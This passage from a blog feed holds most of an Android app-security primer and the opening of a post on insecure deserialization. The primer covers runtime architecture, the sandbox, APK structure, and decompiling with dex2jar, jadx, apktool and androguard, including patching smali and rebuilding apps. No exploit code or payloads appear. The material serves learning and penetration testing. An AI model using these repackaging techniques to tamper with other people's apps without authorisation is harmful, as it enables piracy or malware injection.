(AOT) compilation, improved garbage collection, and better debugging support. This shift from Dalvik to ART has resulted in faster execution times because ART precompiles code, eliminating the overhead associated with Dalvik’s just-in-time (JIT) compilation. <br>Both ART and Dalvik were specifically created for the Android project to ensure efficient multi-instance execution on devices. ART continues to execute the Dalvik Executable (DEX) format and adheres to the DEX bytecode specification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*4z9pNwLEmR4g_By1IsShRg.jpeg" /></figure><p>The core libraries in Android are crucial for implementing applications using standard Java or Kotlin programming languages. These libraries include essential components that provide the foundation for the application framework and power Android applications, similar to the role of the Java Virtual Machine (JVM). By leveraging these core libraries, developers can build robust and efficient applications that integrate seamlessly with the Android platform.</p><h4>Zygote</h4><blockquote><em>The initial cell formed when a new organism is produced</em></blockquote><p>Zygote is a daemon responsible for launching applications. It starts at boot time, loading common system libraries and resources. As the base boilerplate process, Zygote forks itself to create new app processes, making it a part of all processes running on the device. This forking mechanism allows new applications to start more quickly and efficiently because they can share the already loaded resources. By reusing the initialized runtime environment, Zygote significantly reduces the startup time for new applications.</p><p>This process also enables shared code across Dalvik/Art VM in contrast with Java VM where each instance has its own copy of core library class files and heap objects.</p><p>We will encounter it when dealing with Magisk and Zygisk, you can read more about it.</p><p><a href="https://medium.com/@voodoomio/what-the-zygote-76f852d887d9">What the Zygote!?</a></p><h4>5.⠀Java API Framework</h4><p>It allows your app to interact with other apps and the device itself as defined in the Android app. This interaction is facilitated through a variety of APIs and services.</p><p>These APIs serve as the building blocks for creating Android apps, simplifying the reuse of core, modular system components and services.</p><p><strong>Key Features and Components</strong></p><ol><li><strong>View System<br></strong>A rich and extensible view system used to build an app’s UI, including lists, grids, text boxes, buttons, and an embeddable web browser.<br>It normalizes the app’s UI to ensure consistency across different devices and screen sizes.</li><li><strong>Content Providers<br></strong>These allow sharing data with other applications via a specific directory (if exported). The URI format is content://&lt;app-URI&gt;/directory.</li><li><strong>Managers</strong></li></ol><p>⠀⠀➛⠀<strong>Activity Manager:</strong> Manages the lifecycle of applications and provides ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀a common navigation back stack.<br>⠀⠀➛⠀<strong>Window Manager:</strong> Manages windows and screen layout.<br>⠀⠀➛⠀<strong>Notification Manager:</strong> Manages system-wide notifications, enabling ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀apps to display custom alerts in the status bar.<br>⠀⠀➛⠀<strong>Package Manager:</strong> Manages installed application packages, checks ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀for updates, and ensures integrity.<br>⠀⠀➛⠀<strong>Telephony Manager:</strong> Manages telephony services, including ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀receiving/making calls and accessing contacts.<br>⠀⠀➛⠀<strong>Resource Manager:</strong> Provides access to non-code resources such as ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀localized strings, graphics, and layout files.<br>⠀⠀➛⠀<strong>Location Manager:</strong> Manages location services.<br>⠀⠀➛⠀<strong>Sensors Manager:</strong> Manages access to sensors like accelerometers ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀and gyroscopes.</p><p>Developers have full access to the same framework APIs that Android system apps use. This gives developers the ability to create feature-rich applications using the Java API Framework.</p><p><a href="https://developer.android.com/reference/packages">Package Index | Android Developers</a></p><h4>6.⠀System apps</h4><p>Consists of the pre-installed applications that come with the Android phone. These are apps provided by the phone manufacturer itself, such as Contacts, Phone, System Settings, Text Message Apps, Camera, and System Monitor. Additionally, there are third-party applications like browsers and Google Applications.</p><p>Android gives you the ability to set new default apps to replace vendor-supplied or system apps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*65h7qtYEmu2QQaer0231Og.jpeg" /></figure><h3>Dalvik vs Android Runtime</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-4bViEsLTUW-JgKFJSV59w.png" /></figure><p><strong>Dalvik </strong>is a virtual machine designed for Android that utilizes a Just-In-Time JIT compilation model. It compiles the bytecode into machine code at the moment of execution, which can lead to slower performance and increased power consumption. <br>Dalvik executes files in the Dalvik Executable .dex format, optimized for a minimal memory footprint. However, its garbage collection process can cause noticeable performance lags due to execution pauses. <br>Dalvik is based on a 32-bit architecture and is not a Java Virtual Machine JVM, so Java bytecode cannot run directly on it. Instead, Dalvik requires an exclusive use bytecode called Dex. It uses a tool called <strong>dexopt</strong> to create optimized dex files, known as Odex files.</p><p><strong>ART </strong>is a virtual machine that replaced Dalvik as the default runtime starting from Android 5.0 Lollipop was optional in android 4.4. Unlike Dalvik, ART uses an Ahead-Of-Time “AOT” compilation model, compiling bytecode into native machine code during app installation. <br>ART also executes .dex files but converts them into Executable and Linkable Format .oat files during installation. Its more efficient garbage collection process minimizes pause times, leading to smoother performance. <br>While Dex files are still used, Odex is replaced by OAT files using a tool called dex2oat. These OAT files can be executed in the Executable and Linkable Format ELF at install time only once, allowing the bytecode to be run by the processor instead of a virtual machine. <br>.oat files are embedded in ELF object files, enabling them to run on any processor or architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RN32qPohma8dBmMWOZH0RQ.png" /><figcaption>A comparison of Dalvik and ART architectures</figcaption></figure><pre>╔══════════════════════════╦═══════════════════════════════╦════════════════════════════════════╗<br>║         Feature          ║           Dalvik              ║                 ART                ║<br>╠══════════════════════════╬═══════════════════════════════╬════════════════════════════════════╣<br>║ Compilation Type         ║ Just-In-Time (JIT)            ║ Ahead-Of-Time (AOT)                ║<br>║ Bytecode Format          ║ DEX                           ║ DEX converted to OAT               ║<br>║ Execution Speed          ║ Slower due to JIT             ║ Faster due to precompilation       ║<br>║ Application Installation ║ Faster                        ║ Slower due to AOT                  ║<br>║ Memory Usage             ║ Higher due to JIT overhead    ║ Lower due to optimized native code ║<br>║ Garbage Collection       ║ Basic GC                      ║ Advanced GC with reduced pauses    ║<br>║ Startup Time             ║ Longer due to JIT compilation ║ Shorter due to precompiled code    ║<br>║ Battery Usage            ║ Higher due to JIT compilation ║ Lower due to efficiency            ║<br>╚══════════════════════════╩═══════════════════════════════╩════════════════════════════════════╝</pre><h4>Just-In-Time (JIT)</h4><p>With the Dalvik JIT compiler, each time an app runs, it dynamically translates portions of Dalvik bytecode into machine code. As the app continues to run, more bytecode is compiled and stored in cache. Because JIT compiles code incrementally, it has a smaller memory footprint and requires less physical space on the device.</p><h4>Ahead-Of-Time (AOT)</h4><p>ART uses an AOT compiler. During the app installation phase, it statically converts the DEX bytecode into machine code, which is then stored on the device. This process occurs only once, at installation. Without the need for JIT compilation, the code executes significantly faster.</p><h3>Android Security implementation and processes Isolation</h3><p><strong>There are two layers:</strong></p><ol><li>Operating System <strong>OS </strong>Layer<br>The Android OS employs several mechanisms to ensure installed applications are isolated from one another. These mechanisms include process isolation, UID separation, and sandboxing.</li></ol><p>⠀⠀➛⠀<strong>Process Isolation<br></strong>⠀⠀⠀⠀ Each application runs in a separate Linux process. This isolation ⠀⠀⠀⠀ prevents applications from interfering with one another’s memory ⠀⠀⠀⠀ or execution.</p><p>⠀⠀➛⠀<strong>UID Separation<br></strong>⠀⠀⠀ ⠀Each application is assigned a unique user ID “UID” upon ⠀⠀⠀ ⠀⠀⠀⠀ ⠀⠀⠀⠀ installation. The UID system ensures that applications have distinct ⠀⠀⠀ ⠀sets of permissions and access controls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*I0S0yt7GuPDm7Ce40XIAcA.png" /></figure><p>⠀⠀⠀ ⠀u0_a47 and u0_a46 are the UIDs of different applications. Only the ⠀⠀⠀ ⠀owner “the app itself” or root can access them, and no other users or ⠀⠀⠀ ⠀application scan access these directories.</p><p>⠀⠀⠀ ⠀Two applications can be configured to use the same UID. To do that ⠀⠀⠀ ⠀applications must define the same android:sharedUserId value in ⠀⠀⠀ ⠀⠀⠀⠀ their manifests.<br>⠀⠀⠀ ⠀There are some pre-defined IDs are stored in ⠀⠀⠀ ⠀⠀⠀⠀ ⠀⠀⠀ ⠀⠀⠀⠀ ⠀⠀⠀ ⠀android_filesystem_config.h , First user installed application ID ⠀⠀⠀ ⠀⠀⠀⠀ starts from 10,000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nx_OzCojv6TtBHXD75eoLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xu_64aKEkgbwCQLOMqizmw.png" /></figure><p>SO user u0_a47 has UID of 10047</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jHCztN0OlygZGBF1bQx5-g.png" /></figure><p><a href="https://android.googlesource.com/platform/system/core/+/android-4.2.2_r1.2/include/private/android_filesystem_config.h">include/private/android_filesystem_config.h - platform/system/core - Git at Google</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*igPAV23a87Od9BgBR0XNrg.png" /></figure><p>⠀⠀➛⠀<strong>Sandboxing<br></strong>⠀⠀⠀ ⠀Sandboxing leverages process isolation and UID separation to create ⠀⠀⠀ ⠀a controlled environment. Applications are restricted from accessing ⠀⠀⠀ ⠀other applications’ data or code as each process has its own virtual ⠀⠀⠀ ⠀machine. Enforced by the Linux kernel and reinforced by SELinux ⠀⠀⠀ ⠀policies.</p><p>⠀⠀➛⠀<strong>SELinux (Security-Enhanced Linux)<br></strong>⠀⠀⠀ ⠀Implements mandatory access controls (MAC). It enforces security ⠀⠀⠀ ⠀policies to further restrict process actions and interactions. When ⠀⠀⠀ ⠀SELinux is enforced, it denies all process interactions by default and ⠀⠀⠀ ⠀then creates policies to allow only the expected interactions between ⠀⠀⠀ ⠀them.</p><p>⠀ ⠀➛⠀<strong>Verified Boot<br></strong>⠀⠀⠀ ⠀Ensures the integrity of the boot process by verifying each stage of ⠀⠀⠀ ⠀the boot chain. Protects against unauthorized modifications to the ⠀⠀⠀ ⠀system partition.</p><p><strong>2.⠀Application Layer<br></strong>⠀⠀ At the application level, developers have control over the exposure of ⠀⠀ functionalities and the configuration of application capabilities. This ⠀⠀ includes defining permissions, using secure coding practices, and ⠀⠀ ⠀⠀ leveraging Android’s security features.</p><p><strong>⠀ ⠀➛⠀Permissions<br></strong>⠀⠀⠀ ⠀ Developers declare required permissions in the ⠀⠀⠀ ⠀⠀⠀⠀ ⠀⠀⠀ ⠀⠀⠀⠀⠀AndroidManifest.xml file. Permissions control access to sensitive ⠀⠀⠀ ⠀ APIs and resources.</p><pre>&lt;uses-permission android:name=&quot;android.permission.CAMERA&quot; /&gt;<br>&lt;uses-permission android:name=&quot;android.permission.ACCESS_FINE_LOCATION&quot; /&gt;</pre><p>Permissions, such as those requested when you install an app, don’t all need to be asked for at the beginning. Android applications can request permissions dynamically as needed. However, all permissions must be declared in the manifest. Each permission also specifies a protection level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4QsdNlrCwDSIZ9-jpMuwRQ.png" /></figure><p><strong>⠀ ⠀➛⠀Network Security Configuration<br></strong>⠀⠀⠀⠀⠀Lets you customize your app’s network security settings in a safe, ⠀⠀⠀⠀⠀declarative configuration file without modifying app code.</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;<br>&lt;network-security-config&gt;<br>    &lt;domain-config&gt;<br>        &lt;domain includeSubdomains=&quot;true&quot;&gt;secure.example.com&lt;/domain&gt;<br>        &lt;domain includeSubdomains=&quot;true&quot;&gt;cdn.example.com&lt;/domain&gt;<br>        &lt;trust-anchors&gt;<br>            &lt;certificates src=&quot;@raw/trusted_roots&quot;/&gt;<br>        &lt;/trust-anchors&gt;<br>    &lt;/domain-config&gt;<br>&lt;/network-security-config&gt;</pre><p>To learn more about it, we will need it for certificate pinning.</p><p><a href="https://developer.android.com/privacy-and-security/security-config">Network security configuration | Security | Android Developers</a></p><p>There are other AndroidManifest features related to the Application Layer in Android Security implementation that we will discuss later.</p><h3>Application Data Storage</h3><ul><li><strong>Generic Application Data<br></strong>/data/app/com.example.app Stores the installed APK files and certain application metadata.</li><li><strong>Runtime Storage of Data<br></strong>/data/data/com.example.app Contains runtime data like preferences, databases, and files created by the application during its execution.</li><li><strong>External Storage for Runtime<br></strong>/mnt/sdcard/Android/data/com.example.app Used for storing larger files or data that the user might need to access directly, such as media files.</li></ul><h3>About the build process for APK</h3><p>The source code is compiled by the Java compiler into Java bytecode, resulting in files with a .class extension. Multiple .class files are packaged into a JAR file. This Java bytecode must be converted into the .dex format for the Dalvik Virtual Machine (DVM), a task performed by the dex compiler. Additionally, processes like ProGuard, R8, and signing are applied before the final APK file is generated. All the DEX files, resources, assets, and the manifest file are packaged into the APK file.</p><p>This process can be logically reversed. Since the APK format is a type of ZIP format, you can unzip it to access the .dex file. The .dex file can be converted back into a JAR file because .dex and .class files are isomorphic. Finally, you can view the code using the JD-GUI tool. By using this tool, you can reverse an APK to the source code, including deobfuscation, in a single step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qgVQapHS72GFC2UHLEtXyg.png" /></figure><h4>How JAVA code execution works normally?</h4><p>To maintain platform independence, Java developed the Java Virtual Machine (JVM). JVMs are platform-specific, making them dependent on the platform. The Java compiler converts .java files into .class files, known as byte code. The JVM then converts this byte code into machine code.</p><p>This step was revolutionary. Compiled code, while fast during execution, is platform-dependent. Interpreted code is slow as it translates during execution. Java, however, introduced a hybrid approach. It compiles .java files into .class files, which are platform-independent. Each platform then has its own JVM installed to run these class files.</p><p>However, this method faced performance issues and wasn’t entirely suitable for smartphones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wZ7OSPloXdLxfeq89N4_FA.png" /></figure><h4>How Android code execution works?</h4><p>Instead of using pure Java bytecode, Java classes are compiled into DEX bytecode. This DEX bytecode is then translated into native machine code by either the ART or Dalvik runtime. The DEX bytecode is designed to be independent of the device’s architecture. Android employs this approach for platform-specific optimizations, resource efficiency, and enhanced security.</p><h4>_64K reference limit_</h4><p>Within a single DEX bytecode file, only 65,536 methods can be referenced due to the Dalvik Executable specification limits. This includes methods from the Android framework, library methods, and your own code. To handle additional methods beyond this limit, they can be distributed across multiple DEX files using a technique called multidexing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xrf5JPP3PKW5K6Jsw5WNfg.png" /></figure><h3>App Structure</h3><p>Android apps can be written using Kotlin, the Java programming language, and C++ languages. The Android SDK tools compile your code along with any data and resource files into an APK or an Android App Bundle.</p><p>An APK (Android Application Package) file is the format used to install applications on the Android operating system. It is an archive format based on the JAR format and functions as a ZIP archive with specific files and directories. These files can be opened using any decompression tool by changing the extension to .zip or directly. When you download and install an Android application, you are installing an APK file. APK files can also be installed directly from a desktop or within a file manager app without downloading.</p><h4>How to Find and Download APKs</h4><ol><li><strong>Trusted Sources</strong></li></ol><ul><li><strong>Official Websites</strong>; Download APKs from the official websites of the applications if they offer an APK download option.</li><li><strong>Google Play Store: </strong>developers and corberites usually publish their application on google play store, after downloading it you can pull the APK file <br>To pull them you can use <strong>adb </strong>tool i would explain it later</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*HoNX9HTh0224nxZ7qAXwrg.png" /></figure><p><strong>2. Mirror websites: </strong>Websites like <a href="https://apkpure.com/">apkpure</a> or <a href="https://apkcombo.com/">apkcombo</a> they both offer google desktop extensions to search and download APKs directly. <a href="https://www.apkmirror.com/">APKMirror</a> also mirrors APKs from the Google Play Store.</p><p>It is better to use the application ID for searching Or, if you have visited the application page on the Google Play Store, the APKPure or APKCombo extension can detect it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Zktrzcgh5nqqCcUBFCNoug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*TNzt9ckNt0XpSKBIwf0-eA.png" /></figure><p><strong>3. Tools like </strong><a href="https://github.com/kiber-io/apkd"><strong>APKd</strong></a><strong>:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUgManFWxTdRIGO1XMwISQ.png" /></figure><h3>Android package (APK) file structure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xc4pvqfppONhasYcr2xYQg.png" /></figure><p>APK files can be unpacked using unzip app_name.apk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVTmrdYuBAuxyE9ukLT1-Q.png" /></figure><h4><strong>1.⠀ Manifest File </strong><strong>AndroidManifest.xml</strong></h4><p>Declares essential information about the app to the Android system, such as its package name, components (activities, services, broadcast receivers, content providers), permissions, and hardware/software requirements. It is serialized into binary format during the compilation process of the app and can be reconstructed using a decompilation tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MbwTdmMbH3sHxF97554T_g.png" /></figure><p>This is how it would look after decompilation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYejVTa53sUX_qAXCXMK4A.png" /></figure><h4><strong>2. ⠀Java/Kotlin Bytecode</strong><strong> classes.dex</strong></h4><p>Contains the compiled Java/Kotlin code in the Dalvik Executable DEX format, which the Android Runtime ART executes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NXKzkeQ6PAQNrEZ8tnkc3A.png" /></figure><h4><strong>3. ⠀Native Libraries </strong><strong>lib/ directory</strong></h4><p>Contains native code libraries compiled for different architectures, each corresponding to a specific <a href="https://developer.android.com/ndk/guides/abis">ABI</a>, such as ARM or x86, which are supported platforms for the app to run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*Mz06SEBpdEAe5-k1d6re2Q.png" /></figure><p>These native libraries are compiled into shared object files that can be loaded and executed by the Android runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*_5h5OwuXNM2PQQ5Q4UTfDA.png" /></figure><h4><strong>4. ⠀Resources </strong><strong>res/ and </strong><strong>resources.arsc</strong></h4><p>It contains non-code resources such as XML layouts, colors, strings, images, and other assets. Sometimes, it contains hardcoded tokens, secrets, or API keys, which can pose a security risk if exposed. <br>The res/ directory contains these resources, which are not compiled into resources.arsc. Instead, resources.arsc is a binary file that contains precompiled resources for efficient access by the app during runtime.</p><h4><strong>5.</strong> ⠀<strong>Assets </strong><strong>assets/</strong></h4><p>contains raw asset files that the app can read using AssetManager, including additional native libraries or DEX files, which malware authors may use to conceal code or payloads. <br>It also holds certificates used for the certificate pinning process and allows developers to store various resources and external files such as images, music files, and other media. This makes the directory significant for examining potential hidden or sensitive data.</p><h4>6. ⠀META-INF Directory</h4><p>Contains the APK’s signature and manifest files used to verify the integrity and authenticity of the APK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*b_ud1gL11RLMsP97LhMpbw.png" /></figure><ul><li><strong>MANIFEST.MF</strong>: This is the manifest file that lists the files in the archive along with their SHA-1 or SHA-256 digests. It ensures that files haven&#39;t been tampered with after the APK was signed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*z2a7d5QTJ4wt8nzbUBvVFQ.png" /></figure><ul><li><strong>.SF File</strong>: Contains a list of names/hashes of the corresponding lines in the MANIFEST.MF file, ensuring its integrity.</li><li><strong>.RSA File</strong>: This file contains the public key used to sign the APK, encoded in the PKCS#7 format. It is used to verify the signature against the MANIFEST.MF file and its corresponding .SF file.</li></ul><p>The MANIFEST.MF file ensures that the files within the APK are intact and untampered, while the .SF file ensures that the MANIFEST.MF itself remains secure</p><h4>7. ⠀com directory</h4><p>Does not contain any interesting data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*z1-WOW7ze9qOqhZSoUgDBg.png" /></figure><p>Only the META-INF/ and res/ directories are essential and exist in any package content for Android applications.</p><h3>Unzipping VS Decompiling</h3><p>Unzipping an Android application refers to extracting the contents of the APK file, which is essentially a ZIP archive. This process allows you to view the raw files and resources bundled in the application. However, some files, such as classes.dex which contains the compiled code and AndroidManifest.xml which is in a serialized binary format, are in binary format and not directly readable.</p><p>Decompiling an Android application involves converting the binary code compiled .dex files back into a human-readable format source code. This process is more advanced than unzipping and is used to analyze the application’s logic and functionality. The decompiled code is often represented in <strong>SMALI</strong>, an intermediate language used by the Android runtime, which provides a detailed and readable version of the bytecode.</p><h4><strong>Methods to Decompile Applications</strong></h4><ol><li><strong>Manual Process Using </strong><strong>Dex2Jar</strong></li></ol><p>After Unzipping the Application you can use dex2jar to converting dex file to jar then using jd-gui to view it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQIZyX6Ia-awHAaBAsvCdQ.png" /></figure><p>unzip app.apk =&gt; dex2jar classes.dex =&gt; jd-gui classes.jar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhfUnBbX_MlDVdguIQn27w.png" /></figure><p>Sample of the decompiled code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fx36qbXsyxr3NtFxyvRW2g.png" /></figure><p><strong>2. Mass decompilation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fp0j3M8z8RvE8nK0YpSl2Q.png" /></figure><p><strong>3. JADX-GUI</strong></p><p>UI version of Jadx and used for Gui view of decompiled code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfpgXrTul33AFHNBFN9VcQ.png" /></figure><p>jadx-gui = dex2jar + jd-gui but jd-gui more accurate</p><p><strong>4. </strong><strong>apktool “most reliable method to patch or edit on the code”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z-FqzwsVguzdoorAw1RcNw.png" /></figure><p>To decode the apk file apktool d app.apk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*KtPicmSC0QWVXkrXLScc4g.png" /></figure><p>APKTool stands out among other tools due to its ability to produce a smali directory, which is essential for understanding the internals of an Android application and patching it before recompiling. <br>When APKTool decompiles an APK, it translates the DEX files into smali files, which are human-readable representations of the DEX bytecode. This feature enables us to analyze the application’s logic at a low level. By modifying smali code, we can inject custom logic, patch vulnerabilities, or alter application behaviors. <br>After making these modifications, the smali files can be recompiled back into a DEX file and repackaged into an APK for further testing or analysis.</p><p>You can use apktool b app/ to build back the application after modifying it</p><p><strong>apktool help menu</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*YTM90esTq4_p-v8UyMrqPw.png" /></figure><p><strong>5. Androgurd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*WexHCvTXIR9aANsguWE1Pw.png" /></figure><p>A Python-based framework meticulously crafted to facilitate the thorough examination of Android application files. It combines all old tools into a single command line interface. One of its key abilities is decompilation, allowing users to translate APK files back into readable source code for detailed examination.</p><p>androguard decompile -o /output app.apk</p><p>Additionally, Androguard can generate control flow graphs (CFG) for each method using the Graphviz format. <br>androguard decompile -o outputfolder -f png -i someapp.apk --limit &quot;^Lcom/elite/.*&quot; <br>allows you to specify output formats and filter which parts of the application to include. These PNG files can then be viewed using an image editor like GIMP.</p><p><a href="https://androguard.readthedocs.io/en/latest/index.html">Welcome to Androguard&#39;s documentation! - Androguard 3.4.0 documentation</a></p><p><strong>6. APKLab extension on VScode</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWCzug2fIrwHnMe-y_nZgA.png" /></figure><blockquote>APKLab seamlessly integrates the best OpenSource tools such as: <a href="https://github.com/quark-engine/quark-engine">Quark-Engine</a>, <a href="https://ibotpeaches.github.io/Apktool">Apktool</a>, <a href="https://github.com/skylot/jadx">Jadx</a>, <a href="https://github.com/patrickfav/uber-apk-signer">uber-apk-signer</a>, <a href="https://github.com/shroudedcode/apk-mitm">apk-mitm</a> and more to the excellent VS Code so you can focus on app analysis and get it done without leaving the IDE.</blockquote><ol><li>Install APKLab extension on your VScode</li><li>Open the Command Palette (Ctrl+Shift+P) ➜ APKLab: Open an APK</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*36JGWvruSg1rVGriW2wFPw.gif" /></figure><p>Check their manual for the other features</p><p><a href="https://apklab.surendrajat.xyz/docs/user-guide/getting-started/">Getting Started</a></p><p>The most reliable tool to use is APKTool if you need to modify an application’s behavior and then recompile it. For just viewing the application, jadx-gui is my preferred option as it not only enables you to view the application structure in a more handy way but also allows you to view the corresponding smali for Java files, though you cannot edit them directly. <br>Recently, I started using APKLab as it automates the process of decompiling, viewing, recompiling, and signing the application, but it does not work for all applications.</p><p><strong>Wait for the coming parts</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*xucDoQj3b7v8nSQ2s2KD5A.gif" /></figure><h3>Resources</h3><ul><li><a href="https://gs.statcounter.com/os-market-share/mobile/worldwide">Mobile Operating System Market Share Worldwide | Statcounter Global Stats</a></li><li><a href="https://source.android.com/docs/core/architecture">Architecture overview | Android Open Source Project</a></li><li><a href="https://developer.android.com/guide/platform">Platform architecture | Android Developers</a></li><li><a href="https://www.geeksforgeeks.org/android-architecture/">Android Architecture - GeeksforGeeks</a></li><li><a href="https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/android-applications-basics">Android Applications Basics | HackTricks</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9059d0503004" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Deserialization Part 1: Understanding De|Serialization]]></title>
            <link>https://b4l3rion.medium.com/insecure-deserialization-part-1-understanding-de-serialization-02fc45f321d9?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/02fc45f321d9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[serialization]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Mon, 15 Jul 2024 01:03:22 GMT</pubDate>
            <atom:updated>2024-07-15T01:03:22.709Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*IqN8VCwpzKdFZP1AV50yxw.png" /></figure><h3>Table Of Content</h3><p>· ⠀<a href="#3c80">What is Serialization?</a><br>· ⠀<a href="#9130">What is Deserialization?</a><br>· ⠀<a href="#882f">Example of serialization format </a><br>· ⠀<a href="#3b05">Key Characteristics</a><br>· ⠀<a href="#8208">Practical Uses</a><br>· ⠀<a href="#6c2a">Important Considerations</a><br>· ⠀<a href="#4e02">Advantages of Serialization</a><br>· ⠀<a href="#c0cd">Serialization code format in different programming language</a><br>⠀⠀ ‣ ⠀ <a href="#f8e4">PHP Serialization</a><br>⠀⠀ ‣⠀⠀<a href="#b332">Java Serialization</a><br>⠀⠀ ‣⠀⠀<a href="#756c">C# Serialization</a><br>⠀⠀⠀⠀⠀ ‣⠀⠀<a href="#62af">Serialization in .NET </a><br><em>⠀⠀⠀⠀⠀⠀⠀⠀ ∘⠀⠀</em> <a href="#ab15">BinaryFormatter</a><br>⠀⠀⠀⠀⠀⠀⠀⠀ ∘⠀⠀ <a href="#fc09">DataContractSerializer</a><br>⠀⠀⠀⠀⠀⠀⠀⠀ ∘ ⠀⠀<a href="#423f">NetDataContractSerializer</a><em><br>⠀⠀⠀⠀⠀⠀⠀⠀ ∘⠀⠀XML Serialization</em><br>⠀⠀ ‣⠀⠀<a href="#50ec">Python Serialization</a><br>⠀⠀ ‣⠀⠀<a href="#9d23">JavaScript (JSON) Serialization</a><br>⠀⠀ ‣⠀⠀<a href="#ef78">Ruby Serialization</a><br>· ⠀<a href="#2b1d">Marking specific field from been serialized</a><br>· ⠀<a href="#a633">Serialized data format explain</a><br> ⠀∘⠀ <a href="#f852">PHP Serialization Format</a><br> ⠀ ∘⠀ <a href="#2a6f">Java Serialization Format</a><br> ⠀ ∘ ⠀<a href="#e389">JSON (JavaScript Object Notation)</a><br> ⠀ ∘ ⠀<a href="#04bc">XML (Extensible Markup Language)</a><br>· ⠀<a href="#22c4">References</a></p><h3>What is Serialization?</h3><p>Serialization is the process of converting complex data structures, including objects and their fields “essentially a combination of code and data represented within a region of data storage” into a series stream of bytes. This flattened format saves the state of the object in a form that can be easily transmitted and restored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vdcL2fY2Qi2_Q1QblXg6QQ.png" /></figure><p>Serialization allows us to store the state of programmatic objects in a sequence of bytes in a reversible manner. This means that an object (whether a single variable, a set of variables, or even a whole class) can be transported to another program or location and accurately reconstructed.</p><h3>What is Deserialization?</h3><p>Deserialization is the process of converting a stream of bytes, typically received over a network or read from a storage medium, back into a structured data format or object in the exact state as when it was serialized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*luwXsmk_1mLRjcSGUHmzpw.png" /></figure><h3>Example of serialization format</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kjq8O9o3UYVzqCdGfsaMfg.png" /><figcaption>Example of PHP serialization</figcaption></figure><h3>Key Characteristics</h3><ul><li><strong>Storage and Transmission</strong>: Serialized data can be stored in a persistent storage medium (like a file or database) or transmitted over a network.</li><li><strong>Restoration</strong>: The serialized data can be easily deserialized back to its original data structure or object.</li><li><strong>Interoperability</strong>: Serialization enables data to be shared between different versions of an application or across different applications, even if they use different binary formats as some programming languages can’t transfer data directly between different versions.</li></ul><h3>Practical Uses</h3><p>Serialization is widely used for:</p><ul><li><strong>Storing Data</strong>: Saving the state of an object to a file or database for later retrieval.</li><li><strong>Transmitting Data</strong>: Sending objects over a network to another application or service.</li><li><strong>Remote Procedure Calls (RPC)</strong>: Invoking 